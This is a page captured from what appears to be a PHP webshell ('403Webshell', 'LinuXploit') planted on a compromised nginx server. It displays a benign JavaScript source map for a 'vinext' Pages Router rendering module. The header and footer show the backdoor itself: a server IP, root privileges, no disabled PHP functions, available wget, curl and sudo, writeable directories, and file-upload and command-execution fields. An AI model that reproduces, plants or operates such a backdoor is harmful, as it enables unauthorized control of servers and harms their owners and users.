403Webshell
Server IP : 159.203.156.69  /  Your IP : 216.73.217.172
Web Server : nginx/1.24.0
System : Linux main-ubuntu 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/tanviranik.com/node_modules/vinext/dist/server/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/tanviranik.com/node_modules/vinext/dist/server/pages-page-response.js.map
{"version":3,"file":"pages-page-response.js","names":[],"sources":["../../src/server/pages-page-response.ts"],"sourcesContent":["import React, { type ComponentType, type ReactNode } from \"react\";\nimport type { CachedPagesValue } from \"vinext/shims/cache\";\nimport { withScriptNonce } from \"vinext/shims/script-nonce-context\";\nimport { getRequestExecutionContext } from \"vinext/shims/request-context\";\nimport { buildRevalidateCacheControl } from \"./cache-control.js\";\nimport { VINEXT_CACHE_HEADER } from \"./headers.js\";\nimport { createInlineScriptTag, createNonceAttribute, escapeHtmlAttr } from \"./html.js\";\nimport { reportRequestError } from \"./instrumentation.js\";\nimport { readStreamAsText } from \"../utils/text-stream.js\";\n\ntype PagesFontPreload = {\n  href: string;\n  type: string;\n};\n\nexport type PagesI18nRenderContext = {\n  locale?: string;\n  locales?: string[];\n  defaultLocale?: string;\n  domainLocales?: unknown;\n};\n\nexport type PagesGsspResponse = {\n  statusCode: number;\n  getHeaders(): Record<string, string | number | boolean | string[]>;\n};\n\ntype PagesStreamedHtmlResponse = {\n  __vinextStreamedHtmlResponse?: boolean;\n} & Response;\n\ntype RenderPagesPageResponseOptions = {\n  assetTags: string;\n  buildId: string | null;\n  clearSsrContext: () => void;\n  createPageElement: (pageProps: Record<string, unknown>) => ReactNode;\n  DocumentComponent: ComponentType | null;\n  flushPreloads?: (() => Promise<void> | void) | undefined;\n  fontLinkHeader: string;\n  fontPreloads: PagesFontPreload[];\n  getFontLinks: () => string[];\n  getFontStyles: () => string[];\n  getSSRHeadHTML?: (() => string) | undefined;\n  gsspRes: PagesGsspResponse | null;\n  isrCacheKey: (router: string, pathname: string) => string;\n  expireSeconds?: number;\n  isrRevalidateSeconds: number | null;\n  isrSet: (\n    key: string,\n    data: CachedPagesValue,\n    revalidateSeconds: number,\n    tags?: string[],\n    expireSeconds?: number,\n  ) => Promise<void>;\n  i18n: PagesI18nRenderContext;\n  pageProps: Record<string, unknown>;\n  params: Record<string, unknown>;\n  renderDocumentToString: (element: ReactNode) => Promise<string>;\n  renderToReadableStream: (element: ReactNode) => Promise<ReadableStream<Uint8Array>>;\n  resetSSRHead?: (() => void) | undefined;\n  routePattern: string;\n  routeUrl: string;\n  safeJsonStringify: (value: unknown) => string;\n  scriptNonce?: string;\n};\n\nfunction buildPagesFontHeadHtml(\n  fontLinks: string[],\n  fontPreloads: PagesFontPreload[],\n  fontStyles: string[],\n  scriptNonce?: string,\n): string {\n  let html = \"\";\n  const nonceAttr = createNonceAttribute(scriptNonce);\n\n  for (const link of fontLinks) {\n    html += `<link rel=\"stylesheet\"${nonceAttr} href=\"${escapeHtmlAttr(link)}\" />\\n  `;\n  }\n\n  for (const preload of fontPreloads) {\n    html += `<link rel=\"preload\"${nonceAttr} href=\"${escapeHtmlAttr(preload.href)}\" as=\"font\" type=\"${escapeHtmlAttr(preload.type)}\" crossorigin />\\n  `;\n  }\n\n  if (fontStyles.length > 0) {\n    html += `<style data-vinext-fonts${nonceAttr}>${fontStyles.join(\"\\n\")}</style>\\n  `;\n  }\n\n  return html;\n}\n\nexport function buildPagesNextDataScript(\n  options: Pick<\n    RenderPagesPageResponseOptions,\n    | \"buildId\"\n    | \"i18n\"\n    | \"pageProps\"\n    | \"params\"\n    | \"routePattern\"\n    | \"safeJsonStringify\"\n    | \"scriptNonce\"\n  >,\n): string {\n  const nextDataPayload: Record<string, unknown> = {\n    props: { pageProps: options.pageProps },\n    page: options.routePattern,\n    query: options.params,\n    buildId: options.buildId,\n    isFallback: false,\n  };\n\n  if (options.i18n.locales) {\n    nextDataPayload.locale = options.i18n.locale;\n    nextDataPayload.locales = options.i18n.locales;\n    nextDataPayload.defaultLocale = options.i18n.defaultLocale;\n    nextDataPayload.domainLocales = options.i18n.domainLocales;\n  }\n\n  const localeGlobals = options.i18n.locales\n    ? `;window.__VINEXT_LOCALE__=${options.safeJsonStringify(options.i18n.locale)}` +\n      `;window.__VINEXT_LOCALES__=${options.safeJsonStringify(options.i18n.locales)}` +\n      `;window.__VINEXT_DEFAULT_LOCALE__=${options.safeJsonStringify(options.i18n.defaultLocale)}`\n    : \"\";\n\n  return createInlineScriptTag(\n    `window.__NEXT_DATA__ = ${options.safeJsonStringify(nextDataPayload)}${localeGlobals}`,\n    options.scriptNonce,\n  );\n}\n\nasync function buildPagesShellHtml(\n  bodyMarker: string,\n  fontHeadHTML: string,\n  nextDataScript: string,\n  options: Pick<\n    RenderPagesPageResponseOptions,\n    \"assetTags\" | \"DocumentComponent\" | \"renderDocumentToString\"\n  > & {\n    ssrHeadHTML: string;\n  },\n): Promise<string> {\n  if (options.DocumentComponent) {\n    let html = await options.renderDocumentToString(React.createElement(options.DocumentComponent));\n    html = html.replace(\"__NEXT_MAIN__\", bodyMarker);\n    if (options.ssrHeadHTML || options.assetTags || fontHeadHTML) {\n      html = html.replace(\n        \"</head>\",\n        `  ${fontHeadHTML}${options.ssrHeadHTML}\\n  ${options.assetTags}\\n</head>`,\n      );\n    }\n    html = html.replace(\"<!-- __NEXT_SCRIPTS__ -->\", nextDataScript);\n    if (!html.includes(\"__NEXT_DATA__\")) {\n      html = html.replace(\"</body>\", `  ${nextDataScript}\\n</body>`);\n    }\n    return html;\n  }\n\n  return (\n    \"<!DOCTYPE html>\\n<html>\\n<head>\\n\" +\n    '  <meta charset=\"utf-8\" />\\n' +\n    '  <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\" />\\n' +\n    `  ${fontHeadHTML}${options.ssrHeadHTML}\\n` +\n    `  ${options.assetTags}\\n` +\n    \"</head>\\n<body>\\n\" +\n    `  <div id=\"__next\">${bodyMarker}</div>\\n` +\n    `  ${nextDataScript}\\n` +\n    \"</body>\\n</html>\"\n  );\n}\n\nasync function buildPagesCompositeStream(\n  bodyStream: ReadableStream<Uint8Array>,\n  shellPrefix: string,\n  shellSuffix: string,\n): Promise<ReadableStream<Uint8Array>> {\n  const encoder = new TextEncoder();\n\n  return new ReadableStream({\n    async start(controller) {\n      controller.enqueue(encoder.encode(shellPrefix));\n      const reader = bodyStream.getReader();\n      try {\n        for (;;) {\n          const chunk = await reader.read();\n          if (chunk.done) {\n            break;\n          }\n          controller.enqueue(chunk.value);\n        }\n      } finally {\n        reader.releaseLock();\n      }\n      controller.enqueue(encoder.encode(shellSuffix));\n      controller.close();\n    },\n  });\n}\n\nasync function reportPagesIsrCacheWriteError(\n  error: unknown,\n  cacheKey: string,\n  routePattern: string,\n): Promise<void> {\n  console.error(`[vinext] Pages ISR cache write failed for ${cacheKey}:`, error);\n  try {\n    await reportRequestError(\n      error instanceof Error ? error : new Error(String(error)),\n      { path: cacheKey, method: \"GET\", headers: {} },\n      {\n        routerKind: \"Pages Router\",\n        routePath: routePattern,\n        routeType: \"render\",\n      },\n    );\n  } catch {\n    // Cache-write failure reporting must never make the background task reject.\n  }\n}\n\nfunction schedulePagesIsrCacheWrite(options: {\n  cacheKey: string;\n  expireSeconds?: number;\n  pageData: Record<string, unknown>;\n  revalidateSeconds: number;\n  routePattern: string;\n  shellPrefix: string;\n  shellSuffix: string;\n  stream: ReadableStream<Uint8Array>;\n  setCache: RenderPagesPageResponseOptions[\"isrSet\"];\n}): void {\n  const cacheWritePromise = readStreamAsText(options.stream)\n    .then((bodyHtml) =>\n      options.setCache(\n        options.cacheKey,\n        {\n          kind: \"PAGES\",\n          html: options.shellPrefix + bodyHtml + options.shellSuffix,\n          pageData: options.pageData,\n          headers: undefined,\n          status: undefined,\n        },\n        options.revalidateSeconds,\n        undefined,\n        options.expireSeconds,\n      ),\n    )\n    .catch((error: unknown) =>\n      reportPagesIsrCacheWriteError(error, options.cacheKey, options.routePattern),\n    );\n\n  getRequestExecutionContext()?.waitUntil(cacheWritePromise);\n}\n\nfunction applyGsspHeaders(headers: Headers, gsspRes: PagesGsspResponse | null): number {\n  if (!gsspRes) {\n    return 200;\n  }\n\n  const gsspHeaders = gsspRes.getHeaders();\n  for (const key of Object.keys(gsspHeaders)) {\n    const value = gsspHeaders[key];\n    const lowerKey = key.toLowerCase();\n    if (lowerKey === \"set-cookie\" && Array.isArray(value)) {\n      for (const cookie of value) {\n        headers.append(\"set-cookie\", String(cookie));\n      }\n      continue;\n    }\n    if (Array.isArray(value)) {\n      headers.set(key, value.join(\", \"));\n      continue;\n    }\n    if (typeof value === \"string\" || typeof value === \"number\" || typeof value === \"boolean\") {\n      headers.set(key, String(value));\n    }\n  }\n  headers.set(\"Content-Type\", \"text/html\");\n  return gsspRes.statusCode;\n}\n\nexport async function renderPagesPageResponse(\n  options: RenderPagesPageResponseOptions,\n): Promise<Response> {\n  const pageElement = withScriptNonce(\n    React.createElement(React.Fragment, null, options.createPageElement(options.pageProps)),\n    options.scriptNonce,\n  );\n\n  options.resetSSRHead?.();\n  await options.flushPreloads?.();\n\n  const fontHeadHTML = buildPagesFontHeadHtml(\n    options.getFontLinks(),\n    options.fontPreloads,\n    options.getFontStyles(),\n    options.scriptNonce,\n  );\n  const nextDataScript = buildPagesNextDataScript({\n    buildId: options.buildId,\n    i18n: options.i18n,\n    pageProps: options.pageProps,\n    params: options.params,\n    routePattern: options.routePattern,\n    safeJsonStringify: options.safeJsonStringify,\n    scriptNonce: options.scriptNonce,\n  });\n  const bodyMarker = \"<!--VINEXT_STREAM_BODY-->\";\n  // Render the page FIRST so that <Head> and other SSR state collectors\n  // (e.g. styled-jsx, useServerInsertedHTML) are populated before we read\n  // them. This fixes a race condition where head styles were silently dropped\n  // because they were collected before the page had finished rendering.\n  // Mirrors Next.js fix: vercel/next.js@9853944\n  const bodyStream = await options.renderToReadableStream(pageElement);\n\n  const shellHtml = await buildPagesShellHtml(bodyMarker, fontHeadHTML, nextDataScript, {\n    assetTags: options.assetTags,\n    DocumentComponent: options.DocumentComponent,\n    renderDocumentToString: options.renderDocumentToString,\n    ssrHeadHTML: options.getSSRHeadHTML?.() ?? \"\",\n  });\n\n  options.clearSsrContext();\n\n  const markerIndex = shellHtml.indexOf(bodyMarker);\n  const shellPrefix = shellHtml.slice(0, markerIndex);\n  const shellSuffix = shellHtml.slice(markerIndex + bodyMarker.length);\n\n  let responseBodyStream = bodyStream;\n  if (\n    // Keep nonce-bearing pages out of ISR writes: rewritePagesCachedHtml()\n    // later matches the cached __NEXT_DATA__ block via a bare <script> marker.\n    !options.scriptNonce &&\n    options.isrRevalidateSeconds !== null &&\n    options.isrRevalidateSeconds > 0\n  ) {\n    const cacheBodyStreamPair = bodyStream.tee();\n    responseBodyStream = cacheBodyStreamPair[0];\n    const cacheBodyStream = cacheBodyStreamPair[1];\n    const isrPathname = options.routeUrl.split(\"?\")[0];\n    const cacheKey = options.isrCacheKey(\"pages\", isrPathname);\n\n    schedulePagesIsrCacheWrite({\n      cacheKey,\n      expireSeconds: options.expireSeconds,\n      pageData: options.pageProps,\n      revalidateSeconds: options.isrRevalidateSeconds,\n      routePattern: options.routePattern,\n      setCache: options.isrSet,\n      shellPrefix,\n      shellSuffix,\n      stream: cacheBodyStream,\n    });\n  }\n\n  const compositeStream = await buildPagesCompositeStream(\n    responseBodyStream,\n    shellPrefix,\n    shellSuffix,\n  );\n\n  const responseHeaders = new Headers({ \"Content-Type\": \"text/html\" });\n  const finalStatus = applyGsspHeaders(responseHeaders, options.gsspRes);\n\n  if (options.scriptNonce) {\n    responseHeaders.set(\"Cache-Control\", \"no-store, must-revalidate\");\n  } else if (options.isrRevalidateSeconds) {\n    responseHeaders.set(\n      \"Cache-Control\",\n      buildRevalidateCacheControl(options.isrRevalidateSeconds, options.expireSeconds),\n    );\n    responseHeaders.set(VINEXT_CACHE_HEADER, \"MISS\");\n  }\n  if (options.fontLinkHeader) {\n    responseHeaders.set(\"Link\", options.fontLinkHeader);\n  }\n\n  const response: PagesStreamedHtmlResponse = Object.assign(\n    new Response(compositeStream, {\n      status: finalStatus,\n      headers: responseHeaders,\n    }),\n    {\n      __vinextStreamedHtmlResponse: true,\n    },\n  );\n  // Mark the normal streamed HTML render so the Node prod server can strip\n  // stale Content-Length only for this path, not for custom gSSP responses.\n  return response;\n}\n"],"mappings":";;;;;;;;;AAkEA,SAAS,uBACP,WACA,cACA,YACA,aACQ;CACR,IAAI,OAAO;CACX,MAAM,YAAY,qBAAqB,YAAY;CAEnD,KAAK,MAAM,QAAQ,WACjB,QAAQ,yBAAyB,UAAU,SAAS,eAAe,KAAK,CAAC;CAG3E,KAAK,MAAM,WAAW,cACpB,QAAQ,sBAAsB,UAAU,SAAS,eAAe,QAAQ,KAAK,CAAC,oBAAoB,eAAe,QAAQ,KAAK,CAAC;CAGjI,IAAI,WAAW,SAAS,GACtB,QAAQ,2BAA2B,UAAU,GAAG,WAAW,KAAK,KAAK,CAAC;CAGxE,OAAO;;AAGT,SAAgB,yBACd,SAUQ;CACR,MAAM,kBAA2C;EAC/C,OAAO,EAAE,WAAW,QAAQ,WAAW;EACvC,MAAM,QAAQ;EACd,OAAO,QAAQ;EACf,SAAS,QAAQ;EACjB,YAAY;EACb;CAED,IAAI,QAAQ,KAAK,SAAS;EACxB,gBAAgB,SAAS,QAAQ,KAAK;EACtC,gBAAgB,UAAU,QAAQ,KAAK;EACvC,gBAAgB,gBAAgB,QAAQ,KAAK;EAC7C,gBAAgB,gBAAgB,QAAQ,KAAK;;CAG/C,MAAM,gBAAgB,QAAQ,KAAK,UAC/B,6BAA6B,QAAQ,kBAAkB,QAAQ,KAAK,OAAO,CAAA,6BAC7C,QAAQ,kBAAkB,QAAQ,KAAK,QAAQ,CAAA,oCACxC,QAAQ,kBAAkB,QAAQ,KAAK,cAAc,KAC1F;CAEJ,OAAO,sBACL,0BAA0B,QAAQ,kBAAkB,gBAAgB,GAAG,iBACvE,QAAQ,YACT;;AAGH,eAAe,oBACb,YACA,cACA,gBACA,SAMiB;CACjB,IAAI,QAAQ,mBAAmB;EAC7B,IAAI,OAAO,MAAM,QAAQ,uBAAuB,MAAM,cAAc,QAAQ,kBAAkB,CAAC;EAC/F,OAAO,KAAK,QAAQ,iBAAiB,WAAW;EAChD,IAAI,QAAQ,eAAe,QAAQ,aAAa,cAC9C,OAAO,KAAK,QACV,WACA,KAAK,eAAe,QAAQ,YAAY,MAAM,QAAQ,UAAU,WACjE;EAEH,OAAO,KAAK,QAAQ,6BAA6B,eAAe;EAChE,IAAI,CAAC,KAAK,SAAS,gBAAgB,EACjC,OAAO,KAAK,QAAQ,WAAW,KAAK,eAAe,WAAW;EAEhE,OAAO;;CAGT,OACE;;;;;IAGK,eAAe,QAAQ,YAAY,MACnC,QAAQ,UAAU;;qBAED,WAAW,YAC5B,eAAe;;;AAKxB,eAAe,0BACb,YACA,aACA,aACqC;CACrC,MAAM,UAAU,IAAI,aAAa;CAEjC,OAAO,IAAI,eAAe,EACxB,MAAM,MAAM,YAAY;EACtB,WAAW,QAAQ,QAAQ,OAAO,YAAY,CAAC;EAC/C,MAAM,SAAS,WAAW,WAAW;EACrC,IAAI;GACF,SAAS;IACP,MAAM,QAAQ,MAAM,OAAO,MAAM;IACjC,IAAI,MAAM,MACR;IAEF,WAAW,QAAQ,MAAM,MAAM;;YAEzB;GACR,OAAO,aAAa;;EAEtB,WAAW,QAAQ,QAAQ,OAAO,YAAY,CAAC;EAC/C,WAAW,OAAO;IAErB,CAAC;;AAGJ,eAAe,8BACb,OACA,UACA,cACe;CACf,QAAQ,MAAM,6CAA6C,SAAS,IAAI,MAAM;CAC9E,IAAI;EACF,MAAM,mBACJ,iBAAiB,QAAQ,QAAQ,IAAI,MAAM,OAAO,MAAM,CAAC,EACzD;GAAE,MAAM;GAAU,QAAQ;GAAO,SAAS,EAAE;GAAE,EAC9C;GACE,YAAY;GACZ,WAAW;GACX,WAAW;GACZ,CACF;SACK;;AAKV,SAAS,2BAA2B,SAU3B;CACP,MAAM,oBAAoB,iBAAiB,QAAQ,OAAO,CACvD,MAAM,aACL,QAAQ,SACN,QAAQ,UACR;EACE,MAAM;EACN,MAAM,QAAQ,cAAc,WAAW,QAAQ;EAC/C,UAAU,QAAQ;EAClB,SAAS,KAAA;EACT,QAAQ,KAAA;EACT,EACD,QAAQ,mBACR,KAAA,GACA,QAAQ,cACT,CACF,CACA,OAAO,UACN,8BAA8B,OAAO,QAAQ,UAAU,QAAQ,aAAa,CAC7E;CAEH,4BAA4B,EAAE,UAAU,kBAAkB;;AAG5D,SAAS,iBAAiB,SAAkB,SAA2C;CACrF,IAAI,CAAC,SACH,OAAO;CAGT,MAAM,cAAc,QAAQ,YAAY;CACxC,KAAK,MAAM,OAAO,OAAO,KAAK,YAAY,EAAE;EAC1C,MAAM,QAAQ,YAAY;EAE1B,IADiB,IAAI,aACT,KAAK,gBAAgB,MAAM,QAAQ,MAAM,EAAE;GACrD,KAAK,MAAM,UAAU,OACnB,QAAQ,OAAO,cAAc,OAAO,OAAO,CAAC;GAE9C;;EAEF,IAAI,MAAM,QAAQ,MAAM,EAAE;GACxB,QAAQ,IAAI,KAAK,MAAM,KAAK,KAAK,CAAC;GAClC;;EAEF,IAAI,OAAO,UAAU,YAAY,OAAO,UAAU,YAAY,OAAO,UAAU,WAC7E,QAAQ,IAAI,KAAK,OAAO,MAAM,CAAC;;CAGnC,QAAQ,IAAI,gBAAgB,YAAY;CACxC,OAAO,QAAQ;;AAGjB,eAAsB,wBACpB,SACmB;CACnB,MAAM,cAAc,gBAClB,MAAM,cAAc,MAAM,UAAU,MAAM,QAAQ,kBAAkB,QAAQ,UAAU,CAAC,EACvF,QAAQ,YACT;CAED,QAAQ,gBAAgB;CACxB,MAAM,QAAQ,iBAAiB;CAE/B,MAAM,eAAe,uBACnB,QAAQ,cAAc,EACtB,QAAQ,cACR,QAAQ,eAAe,EACvB,QAAQ,YACT;CACD,MAAM,iBAAiB,yBAAyB;EAC9C,SAAS,QAAQ;EACjB,MAAM,QAAQ;EACd,WAAW,QAAQ;EACnB,QAAQ,QAAQ;EAChB,cAAc,QAAQ;EACtB,mBAAmB,QAAQ;EAC3B,aAAa,QAAQ;EACtB,CAAC;CACF,MAAM,aAAa;CAMnB,MAAM,aAAa,MAAM,QAAQ,uBAAuB,YAAY;CAEpE,MAAM,YAAY,MAAM,oBAAoB,YAAY,cAAc,gBAAgB;EACpF,WAAW,QAAQ;EACnB,mBAAmB,QAAQ;EAC3B,wBAAwB,QAAQ;EAChC,aAAa,QAAQ,kBAAkB,IAAI;EAC5C,CAAC;CAEF,QAAQ,iBAAiB;CAEzB,MAAM,cAAc,UAAU,QAAQ,WAAW;CACjD,MAAM,cAAc,UAAU,MAAM,GAAG,YAAY;CACnD,MAAM,cAAc,UAAU,MAAM,cAAc,GAAkB;CAEpE,IAAI,qBAAqB;CACzB,IAGE,CAAC,QAAQ,eACT,QAAQ,yBAAyB,QACjC,QAAQ,uBAAuB,GAC/B;EACA,MAAM,sBAAsB,WAAW,KAAK;EAC5C,qBAAqB,oBAAoB;EACzC,MAAM,kBAAkB,oBAAoB;EAC5C,MAAM,cAAc,QAAQ,SAAS,MAAM,IAAI,CAAC;EAGhD,2BAA2B;GACzB,UAHe,QAAQ,YAAY,SAAS,YAGpC;GACR,eAAe,QAAQ;GACvB,UAAU,QAAQ;GAClB,mBAAmB,QAAQ;GAC3B,cAAc,QAAQ;GACtB,UAAU,QAAQ;GAClB;GACA;GACA,QAAQ;GACT,CAAC;;CAGJ,MAAM,kBAAkB,MAAM,0BAC5B,oBACA,aACA,YACD;CAED,MAAM,kBAAkB,IAAI,QAAQ,EAAE,gBAAgB,aAAa,CAAC;CACpE,MAAM,cAAc,iBAAiB,iBAAiB,QAAQ,QAAQ;CAEtE,IAAI,QAAQ,aACV,gBAAgB,IAAI,iBAAiB,4BAA4B;MAC5D,IAAI,QAAQ,sBAAsB;EACvC,gBAAgB,IACd,iBACA,4BAA4B,QAAQ,sBAAsB,QAAQ,cAAc,CACjF;EACD,gBAAgB,IAAI,qBAAqB,OAAO;;CAElD,IAAI,QAAQ,gBACV,gBAAgB,IAAI,QAAQ,QAAQ,eAAe;CAcrD,OAX4C,OAAO,OACjD,IAAI,SAAS,iBAAiB;EAC5B,QAAQ;EACR,SAAS;EACV,CAAC,EACF,EACE,8BAA8B,MAC/B,CAIY"}

Youez - 2016 - github.com/yon3zu
LinuXploit